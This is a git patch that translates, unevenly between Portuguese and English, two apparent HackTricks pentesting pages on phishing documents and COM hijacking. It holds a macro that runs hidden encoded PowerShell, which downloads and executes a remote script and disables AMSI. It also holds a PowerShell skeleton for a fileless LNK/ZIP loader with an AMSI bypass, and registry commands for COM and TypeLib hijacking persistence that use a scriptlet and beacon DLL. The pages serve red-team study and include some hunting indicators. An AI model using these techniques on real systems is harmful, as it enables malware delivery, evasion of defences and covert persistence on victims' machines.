From 18b89913d6a976f3dc5e8272780b8aea32b245bd Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 28 Aug 2025 22:41:30 +0000 Subject: [PATCH] Translated ['src/windows-hardening/windows-local-privilege-escalation/co --- .../phishing-documents.md | 101 +++++++++++++----- .../com-hijacking.md | 90 +++++++++++++--- 2 files changed, 150 insertions(+), 41 deletions(-) diff --git a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md index aaed17296..5ca50a446 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md @@ -1,25 +1,25 @@ -# Phishing Files & Documents +# Arquivos e Documentos de Phishing {{#include ../../banners/hacktricks-training.md}} ## Documentos do Office -O Microsoft Word realiza a validação de dados do arquivo antes de abrir um arquivo. A validação de dados é realizada na forma de identificação da estrutura de dados, em conformidade com o padrão OfficeOpenXML. Se ocorrer algum erro durante a identificação da estrutura de dados, o arquivo sendo analisado não será aberto. +Microsoft Word realiza validação dos dados do arquivo antes de abri-lo. A validação é feita através da identificação da estrutura de dados, de acordo com o padrão OfficeOpenXML. Se ocorrer qualquer erro durante essa identificação da estrutura de dados, o arquivo analisado não será aberto. -Normalmente, arquivos do Word que contêm macros usam a extensão `.docm`. No entanto, é possível renomear o arquivo alterando a extensão do arquivo e ainda manter suas capacidades de execução de macro.\ +Normalmente, arquivos do Word que contêm macros usam a extensão `.docm`. No entanto, é possível renomear o arquivo mudando a extensão e ainda assim manter sua capacidade de executar macros.\ Por exemplo, um arquivo RTF não suporta macros, por design, mas um arquivo DOCM renomeado para RTF será tratado pelo Microsoft Word e será capaz de executar macros.\ -Os mesmos internos e mecanismos se aplicam a todo o software do Microsoft Office Suite (Excel, PowerPoint etc.). +Os mesmos internos e mecanismos se aplicam a todo o software da Microsoft Office Suite (Excel, PowerPoint etc.). Você pode usar o seguinte comando para verificar quais extensões serão executadas por alguns programas do Office: ```bash assoc | findstr /i "word excel powerp" ``` -DOCX files referencing a remote template (File –Options –Add-ins –Manage: Templates –Go) that includes macros can “execute” macros as well. +Arquivos DOCX que referenciam um template remoto (Arquivo –Opções –Suplementos –Gerenciar: Modelos –Ir) que inclui macros também podem “executar” macros. ### Carregamento de Imagem Externa Vá para: _Inserir --> Partes Rápidas --> Campo_\ -_**Categorias**: Links e Referências, **Nomes de Campo**: includePicture, e **Nome do Arquivo ou URL**:_ http://\/whatever +_**Categorias**: Links and References, **Nomes do campo**: includePicture, e **Nome do arquivo ou URL**:_ http:///whatever ![](<../../images/image (155).png>) @@ -27,14 +27,14 @@ _**Categorias**: Links e Referências, **Nomes de Campo**: includePicture, e **N É possível usar macros para executar código arbitrário a partir do documento. -#### Funções de Autoload +#### Funções de carregamento automático -Quanto mais comuns forem, mais provável é que o AV as detecte. +Quanto mais comuns, mais provável que o AV as detecte. - AutoOpen() - Document_Open() -#### Exemplos de Código de Macros +#### Exemplos de código de macros ```vba Sub AutoOpen() CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=") @@ -64,26 +64,26 @@ Dim proc As Object Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process") proc.Create "powershell ``` -#### Remover metadados manualmente +#### Manually remove metadata -Vá para **Arquivo > Informações > Inspecionar Documento > Inspecionar Documento**, o que abrirá o Inspetor de Documentos. Clique em **Inspecionar** e depois em **Remover Tudo** ao lado de **Propriedades do Documento e Informações Pessoais**. +Vá para **File > Info > Inspect Document > Inspect Document**, o que abrirá o Document Inspector. Clique em **Inspect** e depois em **Remove All** ao lado de **Document Properties and Personal Information**. -#### Extensão do Documento +#### Doc Extension -Quando terminar, selecione o dropdown **Salvar como tipo**, mude o formato de **`.docx`** para **Word 97-2003 `.doc`**.\ -Faça isso porque você **não pode salvar macros dentro de um `.docx`** e há um **estigma** **em torno** da extensão habilitada para macros **`.docm`** (por exemplo, o ícone da miniatura tem um enorme `!` e alguns gateways web/email os bloqueiam completamente). Portanto, esta **extensão legada `.doc` é o melhor compromisso**. +Quando terminar, selecione o dropdown **Save as type**, altere o formato de **`.docx`** para **Word 97-2003 `.doc`**.\ +Faça isso porque você **não pode salvar macros dentro de um `.docx`** e existe um **estigma** **em torno** da extensão habilitada para macros **`.docm`** (por exemplo, o ícone em miniatura tem um grande `!` e alguns gateways web/email os bloqueiam totalmente). Portanto, essa **extensão legada `.doc` é o melhor compromisso**. -#### Geradores de Macros Maliciosas +#### Malicious Macros Generators - MacOS - [**macphish**](https://github.com/cldrn/macphish) - [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator) -## Arquivos HTA +## HTA Files -Um HTA é um programa do Windows que **combina HTML e linguagens de script (como VBScript e JScript)**. Ele gera a interface do usuário e é executado como um aplicativo "totalmente confiável", sem as restrições do modelo de segurança de um navegador. +An HTA is a Windows program that **combines HTML and scripting languages (such as VBScript and JScript)**. It generates the user interface and executes as a "fully trusted" application, without the constraints of a browser's security model. -Um HTA é executado usando **`mshta.exe`**, que geralmente é **instalado** junto com **Internet Explorer**, tornando **`mshta` dependente do IE**. Portanto, se ele foi desinstalado, os HTAs não poderão ser executados. +An HTA is executed using **`mshta.exe`**, which is typically **installed** along with **Internet Explorer**, making **`mshta` dependant on IE**. So if it has been uninstalled, HTAs will be unable to execute. ```html <--! Basic HTA Execution --> @@ -138,11 +138,11 @@ var_func self.close ``` -## Forçando a Autenticação NTLM +## Forcing NTLM Authentication -Existem várias maneiras de **forçar a autenticação NTLM "remotamente"**, por exemplo, você poderia adicionar **imagens invisíveis** a e-mails ou HTML que o usuário acessará (até mesmo HTTP MitM?). Ou enviar à vítima o **endereço de arquivos** que irão **disparar** uma **autenticação** apenas por **abrir a pasta.** +Existem várias maneiras de **forçar a autenticação NTLM "remotamente"**, por exemplo, você poderia adicionar **imagens invisíveis** em emails ou HTML que o usuário irá acessar (até mesmo HTTP MitM?). Ou enviar para a vítima o **endereço de arquivos** que irão **disparar** uma **autenticação** apenas ao **abrir a pasta.** -**Verifique essas ideias e mais nas páginas a seguir:** +**Confira essas ideias e mais nas páginas a seguir:** {{#ref}} @@ -154,11 +154,62 @@ Existem várias maneiras de **forçar a autenticação NTLM "remotamente"**, por ../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md {{#endref}} -### Revezamento NTLM +### NTLM Relay -Não se esqueça de que você não pode apenas roubar o hash ou a autenticação, mas também **realizar ataques de revezamento NTLM**: +Não esqueça que você não pode apenas roubar o hash ou a autenticação, mas também **realizar NTLM relay attacks**: -- [**Ataques de Revezamento NTLM**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) -- [**AD CS ESC8 (revezamento NTLM para certificados)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) +- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) +- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) + +## LNK Loaders + ZIP-Embedded Payloads (fileless chain) + +Campanhas altamente eficazes entregam um ZIP que contém dois documentos legítimos de isca (PDF/DOCX) e um .lnk malicioso. O truque é que o loader PowerShell real está armazenado dentro dos bytes brutos do ZIP após um marcador único, e o .lnk o extrai e executa totalmente em memória. + +Fluxo típico implementado pelo one-liner PowerShell do .lnk: + +1) Localizar o ZIP original em caminhos comuns: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, e o diretório pai do current working directory. +2) Ler os bytes do ZIP e encontrar um marcador hardcoded (por exemplo, xFIQCV). Tudo após o marcador é o payload PowerShell embutido. +3) Copiar o ZIP para %ProgramData%, extrair lá, e abrir o .docx de isca para parecer legítimo. +4) Contornar AMSI para o processo atual: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true +5) Desofuscar a próxima etapa (por exemplo, remover todos os caracteres #) e executá-la em memória. + +Exemplo de esqueleto PowerShell para extrair e executar a etapa embutida: +```powershell +$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV') +$paths = @( +"$env:USERPROFILE\Desktop", "$env:USERPROFILE\Downloads", "$env:USERPROFILE\Documents", +"$env:TEMP", "$env:ProgramData", (Get-Location).Path, (Get-Item '..').FullName +) +$zip = Get-ChildItem -Path $paths -Filter *.zip -ErrorAction SilentlyContinue -Recurse | Sort-Object LastWriteTime -Descending | Select-Object -First 1 +if(-not $zip){ return } +$bytes = [IO.File]::ReadAllBytes($zip.FullName) +$idx = [System.MemoryExtensions]::IndexOf($bytes, $marker) +if($idx -lt 0){ return } +$stage = $bytes[($idx + $marker.Length) .. ($bytes.Length-1)] +$code = [Text.Encoding]::UTF8.GetString($stage) -replace '#','' +[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) +Invoke-Expression $code +``` +Notas +- A entrega frequentemente abusa de subdomínios reputáveis de PaaS (por exemplo, *.herokuapp.com) e pode restringir payloads (servir ZIPs benignos com base no IP/UA). +- A próxima etapa frequentemente decifra base64/XOR shellcode e o executa via Reflection.Emit + VirtualAlloc para minimizar artefatos no disco. + +Persistência usada na mesma cadeia +- COM TypeLib hijacking do Microsoft Web Browser control de modo que o IE/Explorer ou qualquer app que o incorpore reexecute o payload automaticamente. Veja detalhes e comandos prontos para uso aqui: + +{{#ref}} +../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md +{{#endref}} + +Hunting/IOCs +- Arquivos ZIP contendo a string marcador ASCII (por exemplo, xFIQCV) anexada aos dados do arquivo. +- .lnk que enumera pastas pai/usuário para localizar o ZIP e abre um documento de isca. +- Alteração do AMSI via [System.Management.Automation.AmsiUtils]::amsiInitFailed. +- Threads de negócio de longa duração terminando com links hospedados sob domínios PaaS confiáveis. + +## Referências + +- [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/) +- [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md index e1d01765a..c9cce0c6e 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md +++ b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md @@ -2,15 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -### Buscando componentes COM inexistentes +### Procurando componentes COM inexistentes -Como os valores de HKCU podem ser modificados pelos usuários, **COM Hijacking** pode ser usado como um **mecanismo persistente**. Usando `procmon`, é fácil encontrar registros COM pesquisados que não existem e que um atacante poderia criar para persistir. Filtros: +Como os valores de HKCU podem ser modificados pelos usuários, **COM Hijacking** pode ser usado como um **mecanismo persistente**. Usando `procmon` é fácil encontrar entradas de registro COM procuradas que não existem e que um atacante poderia criar para persistir. Filtros: -- Operações **RegOpenKey**. -- onde o _Resultado_ é **NOME NÃO ENCONTRADO**. -- e o _Caminho_ termina com **InprocServer32**. +- **RegOpenKey** operations. +- onde o _Result_ é **NAME NOT FOUND**. +- e o _Path_ termina com **InprocServer32**. -Uma vez que você tenha decidido qual COM inexistente impersonar, execute os seguintes comandos. _Tenha cuidado se decidir impersonar um COM que é carregado a cada poucos segundos, pois isso pode ser excessivo._ +Uma vez que você tenha decidido qual COM inexistente irá se passar, execute os seguintes comandos. _Tenha cuidado se decidir se passar por um COM que é carregado a cada poucos segundos, pois isso pode ser excessivo._ ```bash New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll" @@ -18,9 +18,9 @@ New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F ``` ### Componentes COM do Agendador de Tarefas que podem ser sequestrados -As Tarefas do Windows usam Gatilhos Personalizados para chamar objetos COM e, como são executadas através do Agendador de Tarefas, é mais fácil prever quando serão acionadas. +As Tarefas do Windows usam Custom Triggers para chamar objetos COM e, como são executadas pelo Agendador de Tarefas, é mais fácil prever quando serão acionadas. -
# Mostrar CLSIDs COM
+
# Show COM CLSIDs
 $Tasks = Get-ScheduledTask
 
 foreach ($Task in $Tasks)
@@ -34,8 +34,8 @@ $usersGroup = Get-LocalGroup | Where-Object { $_.SID -eq $usersSid }
 
 if ($Task.Principal.GroupId -eq $usersGroup)
 {
-Write-Host "Nome da Tarefa: " $Task.TaskName
-Write-Host "Caminho da Tarefa: " $Task.TaskPath
+Write-Host "Task Name: " $Task.TaskName
+Write-Host "Task Path: " $Task.TaskPath
 Write-Host "CLSID: " $Task.Actions.ClassId
 Write-Host
 }
@@ -43,15 +43,15 @@ Write-Host
 }
 }
 
-# Saída de Exemplo:
-# Nome da Tarefa:  Exemplo
-# Caminho da Tarefa:  \Microsoft\Windows\Exemplo\
+# Sample Output:
+# Task Name:  Example
+# Task Path:  \Microsoft\Windows\Example\
 # CLSID:  {1936ED8A-BD93-3213-E325-F38D112938E1}
-# [mais como o anterior...]
+# [more like the previous one...]
Verificando a saída, você pode selecionar uma que será executada **toda vez que um usuário fizer login**, por exemplo. -Agora, ao procurar pelo CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** em **HKEY\CLASSES\ROOT\CLSID** e em HKLM e HKCU, você geralmente encontrará que o valor não existe em HKCU. +Agora, ao procurar o CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** em **HKEY\CLASSES\ROOT\CLSID** e em HKLM e HKCU, normalmente você descobrirá que o valor não existe em HKCU. ```bash # Exists in HKCR\CLSID\ Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}" @@ -72,6 +72,64 @@ Name Property PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist. ``` -Então, você pode apenas criar a entrada HKCU e toda vez que o usuário fizer login, seu backdoor será ativado. +Então, você pode apenas criar a entrada HKCU e, toda vez que o usuário fizer login, seu backdoor será executado. + +--- + +## COM TypeLib Hijacking (script: moniker persistence) + +Type Libraries (TypeLib) definem interfaces COM e são carregadas via `LoadTypeLib()`. Quando um COM server é instanciado, o OS também pode carregar o TypeLib associado consultando chaves de registro em `HKCR\TypeLib\{LIBID}`. Se o caminho do TypeLib for substituído por um **moniker**, por exemplo `script:C:\...\evil.sct`, o Windows executará o scriptlet quando o TypeLib for resolvido – resultando em uma persistência furtiva que é acionada quando componentes comuns são acessados. + +Isso foi observado contra o Microsoft Web Browser control (frequentemente carregado pelo Internet Explorer, por apps que incorporam WebBrowser, e até mesmo pelo `explorer.exe`). + +### Steps (PowerShell) + +1) Identify the TypeLib (LIBID) used by a high-frequency CLSID. Example CLSID often abused by malware chains: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser). +```powershell +$clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}' +$libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)' +$ver = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName +"CLSID=$clsid LIBID=$libid VER=$ver" +``` +2) Aponte o caminho TypeLib por usuário para um scriptlet local usando o moniker `script:` (não requer direitos de administrador): +```powershell +$dest = 'C:\\ProgramData\\Udate_Srv.sct' +New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null +Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest" +``` +3) Drop um JScript `.sct` mínimo que reexecute o seu payload principal (por exemplo, um `.lnk` usado pela cadeia inicial): +```xml + + + + + +``` +4) Acionamento – abrir o IE, um aplicativo que incorpora o WebBrowser control, ou mesmo atividades rotineiras do Explorer carregarão o TypeLib e executarão o scriptlet, rearmando sua chain no logon/reboot. + +Limpeza +```powershell +# Remove the per-user TypeLib hijack +Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$null +# Delete the dropped scriptlet +Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null +``` +Notas +- Você pode aplicar a mesma lógica a outros componentes COM de alta frequência; sempre resolva o `LIBID` real em `HKCR\CLSID\{CLSID}\TypeLib` primeiro. +- Em sistemas 64-bit você também pode popular a subchave `win64` para consumidores 64-bit. + +## Referências + +- [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661) +- [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/) {{#include ../../banners/hacktricks-training.md}}